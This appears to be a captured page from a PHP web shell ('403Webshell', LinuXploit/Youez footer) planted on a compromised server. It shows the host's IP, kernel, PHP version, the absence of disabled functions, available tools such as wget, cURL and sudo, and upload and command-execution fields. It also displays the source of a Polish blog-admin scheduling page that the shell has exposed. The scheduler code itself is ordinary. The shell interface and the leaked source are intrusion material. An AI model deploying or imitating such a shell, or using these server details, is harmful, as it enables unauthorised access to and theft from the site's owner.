403Webshell
Server IP : 188.114.96.3  /  Your IP : 216.73.216.143
Web Server : Apache
System : Linux sv058.home.net.pl 6.8.2 husak_dirty_pages_fix #1 SMP PREEMPT_DYNAMIC Tue Apr 2 22:06:51 CEST 2024 x86_64
User :  ( 3194769)
PHP Version : 8.5.12
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /polana/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /polana/admin/polana-v193-auto-harmonogram.php
<?php
declare(strict_types=1);
require_once dirname(__DIR__).'/includes/functions.php';
require_once dirname(__DIR__).'/includes/polana_blog_scheduler_v193.php';
$user=require_blog_manager();
ensure_blog_schema();
$notice='';$error='';
try {
    $cfg=p193_schedule_settings();
    $hasCampaign=(bool)db()->query("SHOW TABLES LIKE 'polana_blog_campaign_items'")->fetchColumn();
    if(($_SERVER['REQUEST_METHOD']??'')==='POST'){
        verify_csrf();
        try{
            $action=(string)($_POST['action']??'');
            if($action==='settings'){
                $days=$_POST['days']??[];
                if(!is_array($days))throw new RuntimeException('Niepoprawne dni.');
                p193_schedule_update(($_POST['active']??'')==='1',$days,(int)($_POST['hour']??10),(int)($_POST['minute']??0));
                $notice='Zapisano harmonogram.';
            }elseif($action==='reviewed'){
                if(!$hasCampaign)throw new RuntimeException('Kampania 40 wpisów nie została jeszcze zaimportowana.');
                $q=db()->query("SELECT c.post_id FROM polana_blog_campaign_items c JOIN blog_posts p ON p.id=c.post_id WHERE c.campaign_key='polana_blog40_20261017' AND c.reviewed_at IS NOT NULL AND p.status='draft' AND p.publish_at IS NULL ORDER BY c.ordinal LIMIT 100");
                $res=p193_schedule_reviewed_campaign(array_map('intval',$q->fetchAll(PDO::FETCH_COLUMN)),(int)$user['id']);
                $notice='Automatycznie zaplanowano '.$res['count'].' sprawdzonych wpisów kampanii.';
            }elseif($action==='manual'){
                if(($_POST['editorial_confirm']??'')!=='yes')throw new RuntimeException('Potwierdź przeczytanie wybranych wpisów.');
                $ids=$_POST['ids']??[];
                if(!is_array($ids))throw new RuntimeException('Niepoprawna lista.');
                $res=p193_schedule_manual_drafts($ids,(int)$user['id']);
                $notice='Dodano do harmonogramu '.$res['count'].' wybranych wpisów.';
            }else throw new RuntimeException('Nieznana operacja.');
        }catch(Throwable $e){$error=$e->getMessage();}
        $cfg=p193_schedule_settings();
    }
    $counts=db()->query("SELECT status,COUNT(*) c FROM blog_posts GROUP BY status")->fetchAll(PDO::FETCH_KEY_PAIR);
    if($hasCampaign){
        $pending=db()->query("SELECT p.id,p.title,p.created_at,CASE WHEN c.reviewed_at IS NULL THEN 0 ELSE 1 END is_reviewed
            FROM blog_posts p LEFT JOIN polana_blog_campaign_items c ON c.post_id=p.id AND c.campaign_key='polana_blog40_20261017'
            WHERE p.status='draft' AND p.publish_at IS NULL ORDER BY p.created_at ASC,p.id ASC LIMIT 100")->fetchAll(PDO::FETCH_ASSOC);
    }else{
        $pending=db()->query("SELECT id,title,created_at,0 AS is_reviewed FROM blog_posts WHERE status='draft' AND publish_at IS NULL ORDER BY created_at ASC,id ASC LIMIT 100")->fetchAll(PDO::FETCH_ASSOC);
    }
    $upcoming=db()->query("SELECT id,title,publish_at FROM blog_posts WHERE status='scheduled' AND publish_at>NOW() ORDER BY publish_at ASC LIMIT 120")->fetchAll(PDO::FETCH_ASSOC);
}catch(Throwable $e){$error=$e->getMessage();$cfg=['active'=>0,'weekdays'=>'1,3,5','hour'=>10,'minute'=>0];$counts=[];$pending=[];$upcoming=[];}
render_admin_header('Automatyczny harmonogram bloga V19.3');
?>
<div class="admin-title-row"><div><h1>Automatyczny harmonogram bloga</h1><p>Nowe wpisy można od razu skierować do publikacji pn/śr/pt, a sprawdzone wpisy kampanii planują się po zatwierdzeniu.</p></div><a class="btn btn-light" href="/admin/blog.php">← Blog</a></div>
<?php if($notice):?><div class="flash flash-success"><?=e($notice)?></div><?php endif;?>
<?php if($error):?><div class="flash flash-error"><?=e($error)?></div><?php endif;?>
<section class="form-card"><h2>Automatyczne publikacje</h2><p>Harmonogram nie tworzy treści i nie publikuje niezatwierdzonych starych szkiców. Nowy wpis z opcją „Automatyczny harmonogram” otrzyma najbliższy wolny termin; istniejące daty nie zostaną zmienione.</p>
<form method="post" class="form-grid"><?=csrf_field()?><input type="hidden" name="action" value="settings">
<label>Stan<select name="active"><option value="1" <?=(int)$cfg['active']===1?'selected':''?>>Włączony</option><option value="0" <?=(int)$cfg['active']===0?'selected':''?>>Wyłączony</option></select></label>
<label>Godzina<input type="number" min="0" max="23" name="hour" value="<?=(int)$cfg['hour']?>"></label><label>Minuta<input type="number" min="0" max="59" name="minute" value="<?=(int)$cfg['minute']?>"></label>
<div class="full"><b>Dni publikacji</b><div style="display:flex;gap:15px;flex-wrap:wrap;margin-top:9px"><?php foreach([1=>'Pn',2=>'Wt',3=>'Śr',4=>'Cz',5=>'Pt',6=>'Sb',7=>'Nd'] as $d=>$name):?><label><input type="checkbox" name="days[]" value="<?=$d?>" <?=in_array($d,array_map('intval',explode(',',(string)$cfg['weekdays'])),true)?'checked':''?>> <?=$name?></label><?php endforeach;?></div></div>
<div class="full"><button class="btn btn-primary" type="submit">Zapisz ustawienia</button></div></form></section>
<div class="grid-cards"><div class="card"><h3>Szkice</h3><div class="stat"><?=(int)($counts['draft']??0)?></div></div><div class="card"><h3>Zaplanowane</h3><div class="stat"><?=(int)($counts['scheduled']??0)?></div></div><div class="card"><h3>Opublikowane</h3><div class="stat"><?=(int)($counts['published']??0)?></div></div></div>
<section class="form-card"><h2>Artykuły kampanii — automatycznie po sprawdzeniu</h2><p>Po zaznaczeniu „Oznacz sprawdzone” w istniejącym panelu 40 wpisów nowe wersje są automatycznie planowane. Tu możesz nadrobić wcześniej sprawdzone szkice.</p><form method="post"><?=csrf_field()?><input type="hidden" name="action" value="reviewed"><button class="btn btn-primary" type="submit">Dodaj wszystkie sprawdzone do harmonogramu</button></form></section>
<section class="form-card"><h2>Istniejące szkice — jednorazowe zatwierdzenie</h2><p>Nie przenosimy starszych szkiców bez Twojej decyzji. Możesz wybrać teksty, które już przeczytałeś.</p><form method="post"><?=csrf_field()?><input type="hidden" name="action" value="manual"><div class="table-wrap"><table class="admin-table"><thead><tr><th></th><th>Tytuł</th><th>Data</th><th>Kontrola kampanii</th></tr></thead><tbody><?php foreach($pending as $p):?><tr><td><input type="checkbox" name="ids[]" value="<?=(int)$p['id']?>"></td><td><a href="/admin/blog-edit.php?id=<?=(int)$p['id']?>"><?=e((string)$p['title'])?></a></td><td><?=e((string)$p['created_at'])?></td><td><?=$p['is_reviewed']?'Sprawdzony':'Do sprawdzenia'?></td></tr><?php endforeach;?></tbody></table></div><label style="display:block;margin:12px 0"><input type="checkbox" name="editorial_confirm" value="yes" required> Przeczytałem i akceptuję wybrane wpisy do publikacji.</label><button class="btn btn-primary" type="submit">Zaplanuj wybrane szkice</button></form></section>
<section class="form-card"><h2>Nadchodzące publikacje</h2><p>Publikacja następuje przy pierwszym odczycie publicznego bloga po terminie, zgodnie z dotychczasowym mechanizmem PHP. Dokładne publikowanie co do minuty wymaga zadania cron hostingu.</p><div class="table-wrap"><table class="admin-table"><thead><tr><th>Termin</th><th>Wpis</th></tr></thead><tbody><?php foreach($upcoming as $p):?><tr><td><?=e((string)$p['publish_at'])?></td><td><a href="/admin/blog-edit.php?id=<?=(int)$p['id']?>"><?=e((string)$p['title'])?></a></td></tr><?php endforeach;?></tbody></table></div></section>
<?php render_admin_footer(); ?>

Youez - 2016 - github.com/yon3zu
LinuXploit